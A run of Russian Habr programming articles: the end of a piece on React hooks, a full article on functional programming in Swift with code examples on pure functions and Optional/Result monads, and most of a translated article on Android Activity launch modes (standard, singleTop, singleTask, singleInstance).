Хук `useEffect` помогает программисту выполнять побочные эффекты в функциональных компонентах. То есть — вызывать функции, которые нужно выполнить после обновления DOM. Он заменяет некоторые события, позволяя вызывать функцию при изменении одной или нескольких переменных. Он принимает два аргумента: функцию и необязательный массив. Эта функция определяет то, какой именно «побочный эффект» нужно выполнить, а в массиве указывают переменные, за изменениями которых нужно наблюдать.
### ▍Другие хуки
* `useContext`: позволяет работать с контекстом — с механизмом, используемым для организации совместного доступа к данным без необходимости передачи свойств.
* `useRef`: позволяет напрямую обращаться к DOM в функциональных компонентах. Обратите внимание на то, что `useRef`, в отличие от `setState`, не вызывает повторный рендеринг компонента.
* `useReducer`: хранит текущее значение состояния. Его можно сравнить с Redux.
* `useMemo`: используется для возврата мемоизированного значения. Может применяться в случаях, когда нужно, чтобы функция возвратила бы кешированное значение.
* `useCallback`: применяется в ситуациях, когда дочерние элементы компонента подвергаются постоянному повторному рендерингу. Он возвращает мемоизированную версию коллбэка, которая меняется лишь тогда, когда меняется одна из зависимостей.
Выше мы коснулись лишь некоторых наиболее часто используемых хуков React. Если вы хотите углубиться в их изучение — загляните [сюда](https://reactjs.org/docs/hooks-overview.html).
Итоги
-----
Мы, при создании React-компонентов, пользовались классами из-за того, что в своё время для работы с состоянием или для реализации методов жизненного цикла нельзя было воспользоваться функциональными компонентами. Хуки React значительно упростили решение старых задач, дав нам возможность писать код, который отличается лучшей пригодностью к созданию нового функционала методом композиции, который получается гибче, чем прежде, который легче расширять. Многие компании используют React в роли своей основной фронтенд-библиотеки, что приводит к тому, что всё больше и больше разработчиков осваивают React.
Пользуетесь ли вы хуками React в своих проектах?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=xuki_%E2%80%94_eto_luchshee,_chto_sluchilos_s_react) | https://habr.com/ru/post/587728/ | null | ru | null |
# Функциональный Swift — это просто
В статьях о функциональном программировании много пишут о том, как ФП подход улучшает разработку: код становится легко писать, читать, разбивать на потоки и тестировать, построить плохую архитектуру невозможно~~, а волосы становятся мягкими и шелковистыми~~.
Недостаток один — высокий порог входа. Пытаясь разобраться в ФП, я столкнулся с огромным количеством теории, функторами, монадами, теорией категорий и алгебраическими типами данных. А как применять ФП на практике, было неясно. Кроме того, примеры приводились на незнакомых мне языках — хаскеле и скале.
Тогда я решил разобраться в ФП самого начала. Разобрался и [рассказал на codefest](https://2019.codefest.ru/lecture/1413) о том, что ФП — это на самом деле просто, что мы уже им пользуемся в Swift и можем пользоваться еще эффективнее.
Функциональное программирование: чистые функции и отсутствие состояний
----------------------------------------------------------------------
Определить, что означает писать в той или иной парадигме — нелегкая задача. Парадигмы формируются десятилетиями людьми с разным видением, воплощаются в языках с непохожими подходами, обрастают инструментами. Эти инструменты и подходы считаются неотъемлемой частью парадигм, но на самом деле ими не являются.
Например, считается, что объектно-ориентированное программирование стоит на трех китах — наследование, инкапсуляция и полиморфизм. Но инкапсуляция и полиморфизм реализуется на функциях с той же легкостью, что и на объектах. Или замыкания — они родились в чистых функциональных языках, но так давно перекочевали в промышленные языки, что перестали ассоциироваться с ФП. Монады тоже пробираются в промышленные языки, но пока не утратили принадлежность к условному хаскелю в умах людей.
В итоге получается, что невозможно четко определить, что конкретно представляет из себя та или иная парадигма. Я в очередной раз столкнулся с этим на codefest 2019, где все эксперты ФП, говоря о функциональной парадигме, называли разные вещи.
Лично мне понравилось определение из вики:
«Функциона́льное программи́рование — раздел дискретной математики и парадигма программирования, в которой процесс вычисления трактуется как вычисление значений функций в математическом понимании последних (в отличие от функций как подпрограмм в процедурном программировании)».
Что такое математическая функция? Это функция, результат которой зависит только от данных, к которым она применена.
Пример математической функции в четыре строки кода выглядит так:
```
func summ(a: Int, b: Int) -> Int {
return a + b
}
let x = summ(a: 2, b: 3)
```
Вызывая функцию summ с входными аргументами 2 и 3, получим 5. Этот результат неизменен. Поменяйте программу, поток, место исполнения — результат останется прежним.
А нематематическая функция — это когда где-то объявлена глобальная переменная.
```
var z = 5
```
Функция суммирования теперь складывает входные аргументы и значение z.
```
func summ(a: Int, b: Int) -> Int {
return a + b + z
}
let x = summ(a: 2, b: 3)
```
Добавилась зависимость от глобального состояния. Теперь нельзя однозначно предсказать значение x. Оно будет постоянно меняться в зависимости от того, когда была вызвана функция. Вызовем функцию 10 раз подряд, и каждый раз можем получить разный результат.
Еще один вариант нематематической функции:
```
func summ(a: Int, b: Int) -> Int {
z = b - a
return a + b
}
```
Помимо возврата суммы входных аргументов, функция меняет глобальную переменную z. Эта функция имеет сайд-эффект.
В функциональном программировании есть специальный термин для математических функций — чистые функции. Чистая функция — это такая функция, которая для одного и того же набора входных значений возвращает одинаковый результат и не обладает побочными эффектами.
Чистые функции — краеугольный камень ФП, все остальное уже вторично. Предполагается, что, следуя этой парадигме, используем только их. А если никак не работать с глобальными или изменяемыми состояниями, то их и не будет в приложении.
Классы и структуры в функциональной парадигме
---------------------------------------------
Изначально, я думал, что ФП — это только про функции, а классы и структуры используются только в ООП. Но оказалось, классы тоже вписываются в концепцию ФП. Только и они должны быть, скажем так, «чистыми».
«Чистый» класс — класс, все методы которого являются чистыми функциями, а свойства неизменяемы. (Это неофициальный термин, придуман во время подготовки к докладу).
Взглянем на такой класс:
```
class User {
let name: String
let surname: String
let email: String
func getFullname() -> String {
return name + " " + surname
}
}
```
Его можно рассматривать как инкапсуляцию данных...
```
class User {
let name: String
let surname: String
let email: String
}
```
и функций по работе с ними.
```
func getFullname() -> String {
return name + " " + surname
}
```
С точки зрения ФП, использование класса User ничем не отличается от работы с примитивами и функциями.
Объявим значение — пользователя Ваню.
```
let ivan = User(
name: "Иван",
surname: "Иванов",
email: "ivanov@example.com"
)
```
Применим к нему функцию getFullname.
```
let fullName = ivan.getFullname()
```
В результате получим новое значение — полное имя пользователя. Так как изменить параметры свойства ivan нельзя, результат вызова getFullname неизменен.
Конечно внимательный читатель может сказать: «Постой-ка, метод getFullname возвращает результат на основе глобальных для него значений — свойств класса, а не аргументов». Но на самом деле метод — это просто функция, в которую в качестве аргумента передается объект.
Swift даже поддерживает эту запись в явном виде:
```
let fullName = User.getFullname(ivan)()
```
Если же нам понадобиться изменить какое-то значение у объекта, например email, то придется создавать новый объект. Это можно делать соответствующим методом.
```
class User {
let name: String
let surname: String
let email: String
func change(email: String) -> User {
return User(name: name, surname: surname, email: email)
}
}
let newIvan = ivan.change(email: "god@example.com")
```
Функциональные атрибуты в Swift
-------------------------------
Я уже писал о том, что многие инструменты, реализации и подходы, считающиеся частью той или иной парадигмы, на самом деле могут применяться и в других парадигмах. Например, частью ФП считаются монады, алгебраические типы данных, автоматический вывод типов, строгая типизация, зависимые типы, проверка корректности программы во время компиляции. Но многие из этих инструментов мы можем найти и в Swift.
Строгая типизация и вывод типов — часть Swift. Их не нужно понимать или вводить в проект, они просто у нас есть.
Зависимых типов нет, хотя я бы не отказался от проверки компилятором строки, что она email, массива, что он не пустой, словаря, что он содержит ключ «apple». Кстати, в Haskell зависимых типов тоже нет.
Алгебраические типы данных имеются, и это крутая, но сложная для понимания математическая штука. Прелесть в том, что ее не надо понимать математически, чтобы использовать. Например Int, enum, Optional, Hashable — это алгебраические типы. И если Int есть во многих языках, а Protocol есть и в Objective-C, то enum со связанными значениями, протоколы с дефолтной реализацией и ассоциативными типами есть далеко не везде.
Проверку корректности во время компиляции часто упоминают, говоря о таких языках, как rust или haskell. Подразумевается, что язык настолько выразителен, что позволяет описать все краевые случаи так, чтобы их проверил компилятор. А значит, если программа скомпилировалась, то она обязательно будет работать. Никто не спорит, что она может содержать ошибки в логике, потому что вы неправильно отфильтровали данные для показа пользователю. Но она не будет падать, потому что вы не получили данные из БД, сервер вернул вам не тот ответ, на который вы рассчитывали, или пользователь ввел дату своего рождения строкой, а не числом.
Не могу сказать, что компиляция swift кода может отловить все баги: например, утечку памяти допустить легко. Но строгая типизация и Optional хорошо защищают от множества глупых ошибок. Главное — ограничить принудительное извлечение.
Монады: не часть парадигмы ФП, а инструмент (необязательный)
------------------------------------------------------------
Довольно часто ФП и монады используются в одном и том же приложении. Одно время я даже думал, что монады и есть функциональное программирование. Когда же я их понял (но это не точно), то сделал несколько выводов:
* они несложные;
* они удобные;
* понимать их необязательно, достаточно уметь применять;
* без них легко можно обойтись.
В Swift уже есть две стандартные монады — Optional и Result. Обе нужны для борьбы с сайд-эффектами. Optional защищает от возможного nil. Result — от различных исключительных ситуаций.
Рассмотрим на примере, доведенном до абсурда. Пусть у нас есть функции, возвращающие целое число из базы данных и от сервера. Вторая может вернуть nil, но мы используем неявное извлечение получая поведение времен Objective-C.
```
func getIntFromDB() -> Int
func getIntFromServer() -> Int!
```
Продолжаем игнорировать Optional и реализуем функцию для суммирования этих чисел.
```
func summInts() -> Int! {
let intFromDB = getIntFromDB()
let intFromServer = getIntFromServer()!
let summ = intFromDB + intFromServer
return summ
}
```
Вызываем итоговую функцию и используем результат.
```
let result = summInts()
print(result)
```
Сработает ли этот пример? Ну, он определенно скомпилируется, а вот получим мы креш во время выполнения или нет — никому неизвестно. Этот код хорош, он отлично показывает наши намерения (нам необходима сумма каких-то двух чисел) и при этом не содержит ничего лишнего. Но он опасен. Поэтому так пишут только джуниоры и уверенные в себе люди.
Изменим пример, сделав его безопасным.
```
func getIntFromDB() -> Int
func getIntFromServer() -> Int?
func summInts() -> Int? {
let intFromDB = getIntFromDB()
let intFromServer = getIntFromServer()
if let intFromServer = intFromServer {
let summ = intFromDB + intFromServer
return summ
} else {
return nil
}
}
if let result = summInts() {
print(result)
}
```
Этот код хорош, он безопасен. Используя явное извлечение, мы защитились от возможного nil. Но он стал громоздким, и среди безопасных проверок уже сложно разглядеть наше намерение. Нам все еще необходима сумма каких-то двух чисел, а не проверки безопасности.
На этот случай у Optional есть метод map, доставшийся ему от типа Maybe из Haskell. Применим его, и пример изменится.
```
func getIntFromDB() -> Int
func getIntFromServer() -> Int?
func summInts() -> Int? {
let intFromDB = getIntFromDB()
let intFromServer = getIntFromServer()
return intFromServer.map { x in x + intFromDB }
}
if let result = summInts() {
print(result)
}
```
Или еще компактнее.
```
func getIntFromDB() -> Int
func getintFromServer() -> Int?
func summInts() -> Int? {
return getintFromServer().map { $0 + getIntFromDB() }
}
if let result = summInts() {
print(result)
}
```
Мы использовали map, чтобы преобразовать intFromServer в необходимый нам результат без извлечения.
Мы избавились от проверки внутри summInts, но оставили ее на верхнем уровне. Это сделано намеренно, так как в конце цепочки вычислений мы должны выбрать способ обработки отсутствия результата.
Извлечь
```
if let result = summInts() {
print(result)
}
```
Использовать значение по умолчанию
```
print(result ?? 0)
```
Или вывести предупреждение если, данные не получены.
```
if let result = summInts() {
print(result)
} else {
print("Ошибка")
}
```
Теперь код в примере не содержит лишнего, как в первом примере, и безопасен, как во втором.
Но map не всегда работает так, как нужно
```
let a: String? = "7"
let b = a.map { Int($0) }
type(of: b)//Optional>
```
Если в map передать функцию, результат которой опционален, мы получим двойной Optional. Но нам не нужна двойная защита от nil. Достаточно одной. Решить проблему позволяет метод flatMap, это аналог map с одним отличием, он разворачивает матрешки.
```
let a: String? = "7"
let b = a.flatMap { Int($0) }
type(of: b)//Optional.
```
Еще один пример, где map и flatMap не очень удобно использовать.
```
let a: Int? = 3
let b: Int? = 7
let c = a.map { $0 + b! }
```
Что, если функция принимает два аргумента и они оба опциональные? Конечно, у ФП есть решение — это аппликативный функтор и каррирование. Но эти инструменты довольно неуклюже смотрятся без использования специальных операторов, которых нет в нашем языке, а писать кастомные операторы считается дурным тоном. Поэтому рассмотрим более интуитивный способ: напишем специальную функцию.
```
@discardableResult
func perform(
\_ transform: (U, Z) throws -> Result,
\_ optional1: U?,
\_ optional2: Z?) rethrows -> Result? {
guard
let optional1 = optional1,
let optional2 = optional2
else {
return nil
}
return try transform(optional1, optional2)
}
```
Она принимает в качестве аргументов два опциональных значения и функцию с двумя аргументами. Если оба опционала имеют значения, к ним применяется функция.
Теперь мы можем работать с несколькими опционалами, не разворачивая их.
```
let a: Int? = 3
let b: Int? = 7
let result = perform(+, a, b)
```
У второй монады, Result, тоже имеются методы map и flatMap. А значит, с ней можно работать точно так же.
```
func getIntFromDB() -> Int
func getIntFromServer() -> Result
func summInts() -> Result {
let intFromDB = getIntFromDB()
let intFromServer = getIntFromServer()
return intFromServer.map { x in x + intFromDB }
}
if case .success(let result) = summInts() {
print(result)
}
```
Собственно, это и роднит монады между собой — возможность работать со значением внутри контейнера, не извлекая его. На мой взгляд, это делает код лаконичнее. Но если вам не нравится, просто используйте явные извлечения, это не противоречит парадигме ФП.
Пример: сокращаем число «грязных» функций
-----------------------------------------
К сожалению, в реальных программах повсюду встречаются глобальные состояния и сайд-эффекты — сетевые запросы, источники данных, UI. И только чистыми функциями обойтись нельзя. Но это не значит, что ФП для нас полностью недоступно: мы можем постараться уменьшить число грязных функций, которых обычно очень много.
Рассмотрим небольшой пример, приближенный к продакшн-разработке. Построим UI, конкретно форму входа. Форма имеет некоторые ограничения:
1) Логин не короче 3 символов
2) Пароль не короче 6 символов
3) Кнопка «Войти» активна, если оба поля валидны
4) Цвет рамки поля отражает его состояние, черная — валидно, красная — не валидно
Код, описывающий эти ограничения, может выглядеть так:
Обработка любого пользовательского ввода
```
@IBAction func textFieldTextDidChange() {
// 1. Зависимость от глобального стейта
// 2. Явное извлечение
guard
let login = loginView.text,
let password = passwordView.text else {
// 3. Сайд-эффект
loginButton.isEnabled = false
return
}
let loginIsValid = login.count > constants.loginMinLenght
if loginIsValid {
// 4. Сайд-эффект
loginView.layer.borderColor = constants.normalColor
}
let passwordIsValid = password.count > constants.passwordMinLenght
if passwordIsValid {
// 5. Сайд-эффект
passwordView.layer.borderColor = constants.normalColor
}
// 6. Сайд-эффект
loginButton.isEnabled = loginIsValid && passwordIsValid
}
```
Обработка завершения ввода логина:
```
@IBAction func loginDidEndEdit() {
let color: CGColor
// 1. Зависмость от глобального стейта
// 2. Явное извлечение
if let login = loginView.text, login.count > 3 {
color = constants.normalColor
} else {
color = constants.errorColor
}
// 3. Сайд эфект
loginView.layer.borderColor = color
}
```
Обработка завершения ввода пароля:
```
@IBAction func passwordDidEndEdit() {
let color: CGColor
// 1. Зависимость от глобального стейта
// 2. Явное извлечение
if let password = passwordView.text, password.count > 6 {
color = constants.normalColor
} else {
color = constants.errorColor
}
// 3. Сайд-эффект
passwordView.layer.borderColor = color
}
```
Нажатие на кнопку войти:
```
@IBAction private func loginPressed() {
// 1. Зависимость от глобального стейта
// 2. Явное извлечение
guard
let login = loginView.text,
let password = passwordView.text else {
return
}
auth(login: login, password: password) { [weak self] user, error in
if let user = user {
/* успех */
} else if error is AuthError {
guard let `self` = self else { return }
// 3. Сайд-эффект
self.passwordView.layer.borderColor = self.constants.errorColor
// 4. Сайд-эффект
self.loginView.layer.borderColor = self.constants.errorColor
} else {
/* Другие ошибки */
}
}
}
```
Возможно, этот код не самый лучший, но в целом он неплох и работает. Правда, у него есть ряд проблем:
* 4 явных извлечения;
* 4 зависимости от глобального стейта;
* 8 сайд-эффектов;
* неочевидные конечные состояния;
* нелинейный флоу.
Главная проблема состоит в том, что нельзя просто взять и сказать, что происходит с нашим экраном. Глядя на один метод, мы видим, что он делает с глобальным стейтом, но не знаем, кто, где и когда еще трогает стейт. В итоге, чтобы разобраться в происходящем, надо найти все точки работы с вьюшками и понять, в каком порядке какие воздействия происходят. Удержать все это в голове очень сложно.
Если процесс изменения состояния линейный, можно изучать его шаг за шагом, что снизит когнитивную нагрузку на программиста.
Попробуем изменить пример, сделав его более функциональным.
Для начала определим модель, описывающую текущее состояние экрана. Это позволит точно знать, какая информация необходима для работы.
```
struct LoginOutputModel {
let login: String
let password: String
var loginIsValid: Bool {
return login.count > 3
}
var passwordIsValid: Bool {
return password.count > 6
}
var isValid: Bool {
return loginIsValid && passwordIsValid
}
}
```
Модель, описывающую изменения, применяемые к экрану. Она нужна, чтобы точно знать, что мы будем менять.
```
struct LoginInputModel {
let loginBorderColor: CGColor?
let passwordBorderColor: CGColor?
let loginButtonEnable: Bool?
let popupErrorMessage: String?
}
```
События, которые могут привести к новому состоянию экрана. Так мы точно будем знать, какие действия изменяют экран.
```
enum Event {
case textFieldTextDidChange
case loginDidEndEdit
case passwordDidEndEdit
case loginPressed
case authFailure(Error)
}
```
Теперь опишем главный метод изменения. Эта чистая функция на основе события текущего состояния собирает новое состояние экрана.
```
func makeInputModel(
event: Event,
outputModel: LoginOutputModel?) -> LoginInputModel {
switch event {
case .textFieldTextDidChange:
let mapValidToColor: (Bool) -> CGColor? = { $0 ? normalColor : nil }
return LoginInputModel(
loginBorderColor: outputModel
.map { $0.loginIsValid }
.flatMap(mapValidToColor),
passwordBorderColor: outputModel
.map { $0.passwordIsValid }
.flatMap(mapValidToColor),
loginButtonEnable: outputModel?.passwordIsValid
)
case .loginDidEndEdit:
return LoginInputModel(/**/)
case .passwordDidEndEdit:
return LoginInputModel(/**/)
case .loginPressed:
return LoginInputModel(/**/)
case .authFailure(let error) where error is AuthError:
return LoginInputModel(/**/)
case .authFailure:
return LoginInputModel(/**/)
}
}
```
Самое важное в том, что этот метод единственный, кому позволено заниматься конструированием нового состояния — и он чистый. Его можно изучить шаг за шагом. Увидеть, как события преобразуют экран из точки А в точку Б. Если что-то сломается, то проблема точно здесь. И это легко тестировать.
Добавим вспомогательное свойство для получения текущего состояния, это единственный метод, зависящий от глобального состояния.
```
var outputModel: LoginOutputModel? {
return perform(LoginOutputModel.init, loginView.text, passwordView.text)
}
```
Добавим еще один «грязный» метод для создания сайд-эффектов изменения экрана.
```
func updateView(_ event: Event) {
let inputModel = makeInputModel(event: event, outputModel: outputModel)
if let color = inputModel.loginBorderColor {
loginView.layer.borderColor = color
}
if let color = inputModel.passwordBorderColor {
passwordView.layer.borderColor = color
}
if let isEnable = inputModel.loginButtonEnable {
loginButton.isEnabled = isEnable
}
if let error = inputModel.popupErrorMessage {
showPopup(error)
}
}
```
Хотя метод updateView и не является чистым, но это единственное место, где меняются свойства экрана. Первый и последний пункт в цепочке вычислений. И если что-то пошло не так, именно тут будет стоять брейкпоинт.
Осталось только запустить преобразования в нужных местах.
```
@IBAction func textFieldTextDidChange() {
updateView(.textFieldTextDidChange)
}
@IBAction func loginDidEndEdit() {
updateView(.loginDidEndEdit)
}
@IBAction func passwordDidEndEdit() {
updateView(.passwordDidEndEdit)
}
```
Метод loginPressed вышел немного уникальным.
```
@IBAction private func loginPressed() {
updateView(.loginPressed)
let completion: (Result) -> Void = { [weak self] result in
switch result {
case .success(let user):
/\* успех \*/
case .failure(let error):
self?.updateView(.authFailure(error))
}
}
outputModel.map {
auth(login: $0.login, password: $0.password, completion: completion)
}
}
```
Дело в том, что нажатие на кнопку «Войти» запускает две цепочки вычислений, что не запрещается.
Заключение
----------
До начала изучения ФП я делал сильный акцент на парадигмах программирования. Для меня было важно, чтобы код следовал ООП, я не любил статические функции или объекты без состояний, не писал глобальных функций.
Сейчас мне кажется, что все те вещи, что я считал частью той или иной парадигмы — довольно условны. Главное — это чистый, понятный код. Для достижения этой цели можно использовать все, что возможно: чистые функции, классы, монады, наследование, композиция, вывод типов. Все они хорошо уживаются вместе и делают код лучше — достаточно применять их к месту.
Что еще почитать по теме
------------------------
[Определение функционального программирования из википедии](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
[Книга о языке Haskell для начинающих](https://www.labirint.ru/books/417791/)
[Объяснение функторов, монад и апликативных функторов на пальцах](https://www.mokacoding.com/blog/functor-applicative-monads-in-pictures/)
[Книга о практиках использования Maybe(Optional) в языке Haskell](https://gumroad.com/l/maybe-haskell)
[Книга о функциональной природе Swift](https://www.objc.io/books/functional-swift/)
[Определение алгебраических типов данных из вики](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%B5%D0%B1%D1%80%D0%B0%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%82%D0%B8%D0%BF_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
[Статья о алгебраических типах данных](https://habr.com/ru/post/207126/)
[Еще одна статья об алгебраических типах данных](https://habr.com/ru/post/274103/)
[Доклад яндекса о функциональном программировании на Swift](https://youtu.be/piwxM0tm95E)
[Реализация стандартной библиотеки Prelude (Haskell) на Swift](https://github.com/robrix/Prelude)
[Библиотека с функциональными инструментами на Swift](https://github.com/typelift/Swiftx)
[Еще одна библиотека](https://github.com/typelift/Swiftz)
[И еще одна](https://github.com/thoughtbot/Runes) | https://habr.com/ru/post/455359/ | null | ru | null |
# Разбираемся с launchMode Android Activity: standard, singleTop, singleTask и singleInstance
***Перевод статьи подготовлен специально для студентов [продвинутого курса по Android разработке](https://otus.pw/hPTK2/).***
---
Activity — это одна из самых ярких концепций в Android (самой популярной мобильной операционной системе с хорошо продуманной архитектурой управления памятью, которая отлично реализует многозадачность).
Так или иначе, с запуском Activity на экран не все так однозначно. Способ, которым оно было запущено, также важен. Нюансов в этой теме очень много. Одним из действительно важных является **launchMode**, о котором мы и поговорим в этой статье.
Каждое Activity создается для работы с разными целями. Некоторые из них предназначены для работы отдельно с каждым Intent, например, отправленным Activity для составления электронной почты в почтовом клиенте. В то время как другие предназначены для работы в качестве синглтона, например, Activity почтового ящика.
Вот почему важно указывать, нужно ли создавать новое Activity или использовать существующее, иначе это может привести к плохому UX или сбоям. Благодаря разработчикам ядра Android, это легко сделать с помощью **launchMode**, который был специально для этого разработан.
### Определение launchMode
По сути, мы можем определить **launchMode** напрямую в качестве атрибута тега ``<`activity>` в `AndroidManifest.xml`:
Доступно 4 типа launchMode. Давайте рассмотрим их по очереди.
**standard**
Это режим «по умолчанию».
Поведение Activity, установленного в этот режим, будет всегда создавать новую Activity, чтобы работать отдельно с каждым отправленным Intent. По сути, если для составления электронного письма отправлено 10 Intent-ов, должно быть запущено 10 Activity, чтобы обслуживать каждый Intent отдельно. В результате на устройстве может быть запущено неограниченное количество таких Activity.
*Поведение на пре-Lollipop Android*
Этот вид Activity будет создан и помещен в верх стека в той же задаче, которая и отправила Intent.
На рисунке ниже показано, что произойдет, когда мы поделимся изображением со стандартным Activity. Оно будет расположено в стеке в той же задаче, как описано выше, хотя они из разных приложений.
А это то, что вы увидите в диспетчере задач. (Может показаться немного странным)
Если мы переключим приложение на другую задачу, а затем переключимся обратно в Галерею, мы все равно увидим, что стандартный launchMode помещается поверх задачи Галереи. В результате, если нам нужно что-то сделать в Галерее, мы должны сначала закончить нашу работу в этом дополнительном Activity.
*Поведение на Lollipop Android*
Если эти Activity относятся к одному и тому же приложению, поведение будет таким же, как и в пре-Lollipop реализации — размещение в стеке поверх задачи.
Но в случае, если Intent отправлен из другого приложения, будет создана новая задача и вновь созданное Activity будет размещено в качестве корневого, как показано ниже.
Это то, что вы увидите в диспетчере задач.
Это происходит потому, что в Lollipop модифицирована система управления задачами — она стала лучше и понятнее. В Lollipop вы можете просто переключиться обратно в Галерею, поскольку она находится в другой задаче. Вы можете отправить другой Intent, будет создана новая задача, которая будет обслуживать Intent так же, как и предыдущая.
Примером такого вида Activity является **Compose Email Activity** (составление письма) или **Social Network's Status Posting Activity** (обновление статуса в соцсети). Если у вас на уме Activity, которое отдельно обрабатывает каждый Intent, то вы думаете именно о **standard Activity**.
#### singleTop
Следующий режим — **singleTop**. Он ведет себя почти так же, как и **standard**, что означает, что экземпляров singleTop Activity можно создать столько, сколько мы захотим. Единственное отличие состоит в том, что если уже есть экземпляр Activity с таким же типом наверху стека в вызывающей задаче, не будет создано никакого нового Activity, вместо этого Intent будет отправлен существующему экземпляру Activity через метод `onNewIntent()`.
В режиме singleTop вы должны предусмотреть обработку входящего Intent в `onCreate()` и `onNewIntent()`, чтобы он работал во всех случаях.
Пример использования этого режима — функция поиска. Давайте подумаем о создании окна поиска, которое направляет вас к SearchActivity, чтобы увидеть результаты поиска. Для лучшего UX обычно мы всегда помещаем окно поиска на страницу результатов поиска, чтобы позволить пользователю выполнить следующий поиск, не возвращаясь назад.
А теперь представьте, что если мы всегда запускаем новое SearchActivity, чтобы обслуживать новый результат поиска, то мы получим 10 новых Activity для 10 итераций поиска. Было бы очень странно возвращаться назад, так как вам нужно было бы нажимать назад 10 раз, чтобы пройти через все результаты поиска, чтобы вернуться к корневой Activity.
Вместо этого, если SearchActivity уже находится наверху стека, лучше отправить Intent в существующий экземпляр Activity и позволить ему обновить результат поиска. Теперь будет только одно SearchActivity, размещенное наверху стека, и вы можете просто нажать кнопку «Назад» один раз, чтобы вернуться к предыдущему Activity. В этом больше смысла.
В любом случае singleTop работает в той же задаче, что и вызывающая сторона. Если вы ожидаете, что Intent будет отправлен в существующее Activity, помещенное поверх любой другой задачи, я должен вас разочаровать, сказав, что там это так уже не работает. В случае, если Intent отправлен из другого приложения в singleTop Activity, новое Activity будет запущено в том же аспекте, что и для standart launchMode (*пре-Lollipop: помещено поверх вызывающей задачи, Lollipop: будет создана новая задача)*.
#### singleTask
Этот режим сильно отличается от standart и singleTop. **Activity с singleTask launchMode разрешено иметь только один экземпляр в системе (аля синглтон)**. Если в системе уже существует экземпляр Activity, вся задача, удерживающая экземпляр, будет перемещен наверх, а Intent будет предоставлен через метод `onNewIntent()`. В противном случае будет создано новое Activity и помещено в соответствующую задачу.
*Работая в одном приложении*
Если в системе еще не было экземпляра singleTask Activity, будет создан новый, и он будет просто помещен вверх стека в той же задаче.
*Но если он существует, все Activity, расположенные над этим singleTask Activity, автоматически будут жестоко уничтожены надлежащим образом (жизненный цикл закончен), чтобы отобразить на вершине стека нужное нам Activity.* В то же время Intent будет отправлен в singleTask Activity через прекрасный метод `onNewIntent()`.
Это не имеет смысла с точки зрения пользовательского опыта, но оно он разработано именно таким образом…
Вы можете заметить один нюанс, который упоминается в [документации](https://developer.android.com/guide/components/tasks-and-back-stack.html):
*Система создает новую задачу и инстанцирует экземпляр activity в корне новой задачи.*
**Но на практике похоже, что это работает не так, как описано**. SingleTask Activity по-прежнему помещается наверх стека Activity задачи, как видно из результата команды `dumpsys activity`.
Ta
```
sk id #239
TaskRecord{428efe30 #239 A=com.thecheesefactory.lab.launchmode U=0 sz=2}
Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.thecheesefactory.lab.launchmode/.StandardActivity }
Hist #1: ActivityRecord{429a88d0 u0 com.thecheesefactory.lab.launchmode/.SingleTaskActivity t239}
Intent { cmp=com.thecheesefactory.lab.launchmode/.SingleTaskActivity }
ProcessRecord{42243130 18965:com.thecheesefactory.lab.launchmode/u0a123}
Hist #0: ActivityRecord{425fec98 u0 com.thecheesefactory.lab.launchmode/.StandardActivity t239}
Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 cmp=com.thecheesefactory.lab.launchmode/.StandardActivity }
ProcessRecord{42243130 18965:com.thecheesefactory.lab.launchmode/u0a123}
```
Если вы хотите, чтобы singleTask Activity вело себя так, как описано в документе: создайте новую задачу и поместите Activity в качестве корневого Activity. Вам нужно определить атрибут `taskAffinity` для singleTask Activity следующим образом.
Таким будет результат, когда мы попытаемся запустить `SingleTaskActivity`.
Ваша задача решить, использовать `taskAffinity` или нет в зависимости от желаемого поведения Activity.
*Взаимодействуя с другим приложением*
Как только Intent отправлен из другого приложения, и в системе еще не создано ни одного экземпляра Activity, будет создана новая задача с новым Activity, размещенным в качестве корневого Activity.
Если не существует задачи, которая бы являлась владельцем вызывающей singleTask Activity, вместо нее будет выведено наверх новое Activity.
*В случае, если в какой-либо задаче существует экземпляр Activity, вся задача будет перемещена вверх, и для каждого отдельного Activity, расположенного над singleTask Activity, будет завершен жизненный цикл*. Если нажата кнопка «Назад», пользователь должен пройти через Activity в стеке, прежде чем вернуться к вызывающей задаче.
Примером использования этого режима является любое Entry Point Activity, например, страница «Входящие» почтового клиента или таймлайн соцсети. Эти Activity не предполагают более чем одного экземпляра, поэтому singleTask отлично справится со своей задачей. В любом случае вы должны использовать этот режим с умом, так как в этом режиме Activity могут быть уничтожены без подтверждения пользователя, как описано выше.
#### singleInstance
Этот режим очень похож на singleTask, где в системе мог существовать только один экземпляр Activity. **Разница в том, что задача, которая располагает этим Activity, может иметь только одно Activity — то, у которого атрибут singleInstance**. Если из этого вида Activity вызывается другое Activity, автоматически создается новое задание для размещения этого нового Activity. Аналогичным образом, если вызывается singleInstance Activity, будет создана новая задача для размещения этого Activity.
В любом случае результат довольно странный. Из информации, предоставленной `dumpsys`, видно, что в системе есть две задачи, но в диспетчере задач появляется только одна, в зависимости от того, какая из них находится сверху. В результате, хотя есть задача, которая все еще работает в фоновом режиме, мы не можем переключить ее обратно на передний план. Это не имеет вообще никакого смысла.
Вот что происходит, когда вызывается singleInstance Activity, в то время как в стеке уже существует какое-либо Activity.
А вот что мы видим в диспетчере задач.
Поскольку эта задача может иметь только одно Activity, мы больше не можем переключаться обратно на задачу № 1. Единственный способ сделать это — перезапустить приложение из лаунчера, но, как в итоге получится, singleInstance задача будет скрыта в фоновом режиме.
Во всяком случае, есть некоторые обходные пути для этой проблемы. Как и в случае с singleTask Activity, просто назначьте атрибут `taskAffinity` для singleInstance Activity, разрешающим существование нескольких задач в диспетчере задач.
Теперь картина имеет больше смысла.
Этот режим используется редко. Некоторые из вариантов использования на практике — это лаунчер-Activity или приложение, для которого вы на 100% уверены, что там должно быть только одно Activity. В любом случае, я предлагаю вам не использовать этот режим, если на то нет крайней необходимости.
### Intent-флаги
